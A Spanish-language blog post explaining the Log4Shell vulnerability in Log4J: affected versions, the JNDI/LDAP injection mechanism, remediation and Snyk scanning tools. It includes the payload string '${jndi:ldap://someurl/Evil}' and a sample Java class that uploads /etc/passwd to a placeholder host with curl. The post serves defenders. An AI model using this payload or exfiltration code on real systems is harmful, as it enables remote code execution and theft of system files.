DEV Community

Cover image for Seguridad en Java: Todo lo que necesitas saber sobre la vulnerabilidad Log4Shell
Daniel Ignacio Cassi
Daniel Ignacio Cassi

Posted on

Seguridad en Java: Todo lo que necesitas saber sobre la vulnerabilidad Log4Shell

¿Qué son Log4J y Log4Shell?

Para poder entender de que se trata esta vulnerabilidad, primero tenemos que entender su origen. Log4J es el framework de logging más utilizado en Java desde hace muchos años, permite mayormente llevar un registro de eventos que se dan durante la ejecución de una aplicación Java, para guardar detalles de errores y así poder corregirlos, etc.

Log4Shell es una vulnerabilidad publicada el 10 de diciembre de 2021 por Chen Zhaojun, miembro del equipo de seguridad en la nube de Alibaba.
Afecta a la librería de logging Log4J, específicamente al paquete org.apache.logging.log4j:log4j-core en sus versiones [2.0-beta9 , 2.12.2) [2.13.0 , 2.15.0).

Informe de vulnerabilidad “Log4Shell” (CVE-2021-44228)

Su nombre hace alusión al hecho de que la misma permite la ejecución remota de código o RCE por sus siglas en inglés, de forma similar a una Shell del sistema.

Log4J es una librería de logging muy utilizada en Java en los últimos años, muchos frameworks de aplicaciones en el ecosistema Java usan Apache Log4J por defecto, por ejemplo: Apache Struts 2, Apache Solr y Apache Druid, como también aplicaciones Spring y Spring Boot.
Vease la lista de librerías afectadas y sus estados actuales aquí.

El uso directo o indirecto de la librería por medio de dependencias implica un potencial problema que debe ser solucionado con rapidez, debido a que la complejidad del ataque es muy baja y la cantidad de sistemas afectados es muy elevada.

Un informe de Snyk demuestra que la mayoría de aplicaciones escaneadas utilizan Log4J de manera indirecta, por ejemplo con librerías de las cuales la aplicación Java depende.
enter image description here
Actualmente esta vulnerabilidad tiene un nivel crítico con un puntaje Common Vulnerability Scoring System (CVSS) de 10 (el máximo posible).

Cuando se utiliza una versión vulnerable de Log4J, cualquier dato que se loguea puede llevar a un ataque RCE. Cuando se utiliza la API de Java JNDI (Java Naming and Directory Interface) para conectarse por ejemplo a una URL LDAP para crear un log, es posible devolver una payload maliciosa con inyección de código.

En el siguiente código de ejemplo, el usuario pasa un argumento a la función checkout, si el argumento no se resuelve, se loguea un error. Pero si la entrada del usuario es maliciosa, por ejemplo "${jndi:ldap://someurl/Evil}” se desencadena la vulnerabilidad ya que sabemos que se logueará como un error.

try {
    checkout(arg);
} catch (Exception e) {
    logger.error("Failed to checkout with arg " + arg)
}
Enter fullscreen mode Exit fullscreen mode

Si sabemos que la entrada será logueada con Log4J, es posible crear un servidor LDAP que responda al endpoint malicioso y así devolver una clase compilada que ejecute algún código.
Un ejemplo de dicha clase puede ser visto debajo.

Este objeto envía mi archivo /etc/passwd a una URL externa usando el comando curl.

Nótese que la entrada puede estar oculta por ejemplo en el header de una llamada HTTP. Cuando el logger evalúa la cadena, la llamada al servidor malicioso LDAP toma lugar.

public  class RefactoredName implements  ObjectFactory  {
   @Override
   public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws Exception {
       Runtime.getRuntime().exec("curl -F 'file=@/etc/passw‍đ' https://someurl/upload");
       return  null;
   }
}
Enter fullscreen mode Exit fullscreen mode

Según este artículo de Lunasec sobre este problema, esto impacta a todas las versiones de Java. Versiones de JDK mayores que 6u221, 7u201, 8u201 y 11.0.1 no parecen estar afectadas por este ataque LDAP. Esto es porque estas versiones tienen seteado com.sum.jndi.ldap.object.trustURLCodebase en falso por defecto.

El exploit mostrado arriba fue testeado con JDK versión 8u111 y funcionó, aunque lo mismo con 8u292 no funcionó. Aún no se tiene certeza de que las versiones nuevas de Java provean protección contra otras variantes posibles del ataque.

Usuarios de Twitter también reportaron que existen otros vectores de ataque posibles para el exploit. Por ejemplo, si la clase devuelta por la URL LDAP ya está en el classpath, será ejecutada igualmente en versiones más nuevas del SDK, aunque trustURLCodebase este seteada en falso.

Remediando la vulnerbilidad

  • La manera más facil de protegerse actualmente es actualizar la versión de Log4J a una versión 2.17.0 o mayor, ya que este comportamiento está deshabilitado por defecto
  • En versiones previas (>2.10) este comportamiento puede ser mitigado configurando la propiedad del sistema log4j.formatMsgNoLookups a true añadiendo el siguiente parámetro: --Dlog4j2.formatMsgNoLookups = true
  • Alternativamente, se puede remover la clase JndiLookup del classpath.
  • Guía detallada de Snyk de cada posible forma conocida de protegerse de la vulnerabilidad aquí.

Herramientas para escanear proyectos en busca de vulnerabilidades

  • Snyk Open Source permite identificar vulnerabilidades en el código, esto incluye Log4Shell. Existe un plugin para IntelliJ IDEA que facilita el proceso de verificación y sugiere posibles soluciones para resolver el problema. A continuación se muestra un ejemplo de su uso:

  • Adicionalmente existe la Snyk CLI para realizar checkeos mediante la terminal. Guía de uso aquí.
  • La fundación Apache (desarrolladora Open Source de Log4J) está actualizando el framework con frecuencia desde que la vulnerabilidad se viralizó. Para ver las versiones más recientes y sus cambios, entrar aquí.

Fuentes:

Top comments (0)